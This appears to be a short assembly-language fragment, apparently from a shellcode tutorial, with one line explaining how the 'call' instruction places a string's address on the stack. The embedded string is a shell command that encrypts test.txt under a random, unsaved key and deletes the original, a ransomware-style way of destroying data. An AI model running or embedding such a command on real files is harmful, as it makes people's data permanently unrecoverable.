call _exec \n msg db "mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt", 0x0a
push the address of message on the top of the stack, and then change the eip to the address in _exec label